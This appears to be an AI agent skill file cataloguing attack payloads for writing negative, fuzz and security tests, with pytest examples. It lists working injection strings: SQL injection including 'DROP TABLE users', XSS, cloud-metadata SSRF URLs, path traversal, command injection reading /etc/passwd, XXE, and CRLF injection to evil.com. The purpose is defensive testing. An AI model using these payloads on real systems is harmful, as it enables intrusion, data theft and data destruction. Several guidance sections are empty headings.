malicious-payload-bank

Terminology note: The payload classes here are practitioner-emergent and align with the OWASP Top 10 (owasp-top-10) and CWE Top 25 (cwe-top-25) - both authoritative industry sources. ISTQB has no canonical entry for "malicious payload"; the closest formal term is "security testing."

A reference catalog of adversarial inputs to use when authoring negative tests, security tests, or fuzz targets. This is a defensive skill - for testing your own application's input validation, not for unauthorized testing of others' systems.

When to use

• Writing negative-test cases for an input validator (per negative-test-generator).
• Authoring a security-focused test suite.
• Generating inputs for a fuzz target (Schemathesis, RESTler, AFL).
• Reviewing input-handling code with adversarial intent in mind.

Payload classes

SQL Injection (CWE-89)

Apply to: any input that flows into a SQL query (URL params, form fields, headers, cookies).

'                              # syntactic break
' OR '1'='1                    # always-true
' OR '1'='1' --                # comment terminator
'; DROP TABLE users; --        # stacked statement
' UNION SELECT NULL, version() -- # information disclosure via UNION
admin'--                        # bypass auth via comment

Modern context: parameterized queries / ORM eliminate most SQLi; the payload bank verifies your input still flows through parameterization (no string concatenation slipped in).

Cross-Site Scripting (CWE-79)

Apply to: any input that may be rendered to HTML (display name, comment text, URL params reflected on the page, error messages).

<script>alert(1)</script>
"><script>alert(1)</script>
javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'-alert(1)-'                   # context-break in JS string

Test contexts: HTML body, HTML attribute, JS string, URL, CSS. Each has a different escape requirement; the payloads exercise each.

Server-Side Request Forgery (CWE-918)

Apply to: any input that becomes an outbound URL (image fetch, webhook, OAuth callback, link preview).

http://169.254.169.254/latest/meta-data/                # AWS instance metadata
http://metadata.google.internal/                         # GCP metadata
http://localhost:6379/                                    # Redis (no auth in many setups)
file:///etc/passwd                                        # local file read
gopher://localhost:6379/_*1%0d%0aSET%20test%20pwn%0d%0a   # protocol smuggling

Test: does the application fetch arbitrary user-supplied URLs without an allowlist? Does it follow redirects to internal hosts?

Path Traversal (CWE-22)

Apply to: any input that becomes a file path (file uploads, template names, image paths, log file selection).

../etc/passwd
..%2fetc%2fpasswd                # URL-encoded ..
....//etc/passwd                 # double-dot bypass for naive filters
%2e%2e/etc/passwd                 # full URL-encoded
..\..\..\..\windows\win.ini       # Windows
%c0%ae%c0%ae/etc/passwd            # over-long UTF-8 bypass

Command Injection (CWE-78)

Apply to: any input that flows into a shell command, backticks, exec / system / popen.

; ls
| ls
&& cat /etc/passwd
` cat /etc/passwd `
$(cat /etc/passwd)
%0a cat /etc/passwd                # newline-injection

XML External Entity (CWE-611)

Apply to: any input that's parsed as XML (SOAP endpoints, SVG upload, XML config import).

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Prototype Pollution (CWE-1321)

Apply to: any JS / Node.js input that flows into object merge (query-string parsers, body parsers, lodash _.merge, Object spread).

{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

ReDoS - Regex Denial of Service (CWE-1333)

Apply to: any regex with backtracking applied to user input.

aaaaaaaaaaaaaaaaaaaaaaaa!         # for /^(a+)+$/
aaaaaaaaaaaaaaaaaaaaaaaa@aaaaaa   # for typical email regexes

Test: does the regex complete in linear time on adversarial input? Tooling like safe-regex (Node) or re2 (Google's linear-time regex engine) eliminates this class.

Unicode Confusables / Homoglyph

Apply to: any input that's compared for equality, used as a display name, or used in security boundaries (admin checks, domain validation).

аdmin            # Cyrillic 'а' (U+0430), not Latin 'a' (U+0061)
gооgle.com       # Cyrillic 'о' in google
"Admin"           # NFKC-normalized variant
ff                # ligature for 'ff'

The CLDR / Unicode Consortium maintains the canonical confusables list.

HTTP Header Injection (CWE-93)

Apply to: any input that flows into a response header (CRLF injection in URL params reflected as Location, Set-Cookie).

test%0d%0aSet-Cookie:%20admin=true       # CRLF + cookie injection
test%0aLocation:%20http://evil.com        # response splitting

Per-context payload selection

How to use in tests

Negative test (rejection-path verification)

import pytest

XSS_PAYLOADS = [
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "javascript:alert(1)",
]

@pytest.mark.parametrize("payload", XSS_PAYLOADS)
def test_comment_field_rejects_or_escapes_xss(payload):
    response = post_comment(text=payload)
    # Either the input is rejected (4xx) or the response renders escaped
    assert response.status_code in (400, 422) or '<script>' not in response.body

Fuzz target

@given(payload=sampled_from(SQLI_PAYLOADS))
def test_search_does_not_execute_sql(payload):
    response = search(query=payload)
    # Should never expose DB state
    assert "syntax error" not in response.body.lower()
    assert response.status_code in (200, 400)

Anti-patterns

Defensive guidance

For each class, the canonical mitigation:

References

• owasp-top-10 - canonical attack-class reference.
• cwe-top-25 - CWE Top 25 most-dangerous weaknesses.
• OWASP Cheat Sheet Series - https://cheatsheetseries.owasp.org/
• Unicode confusables - https://www.unicode.org/Public/security/latest/confusables.txt
• negative-test-generator - sibling skill that generates rejection-path tests; consumes this catalog as input.
• threat-model-from-spec - upstream agent that identifies which payload classes apply to a given feature.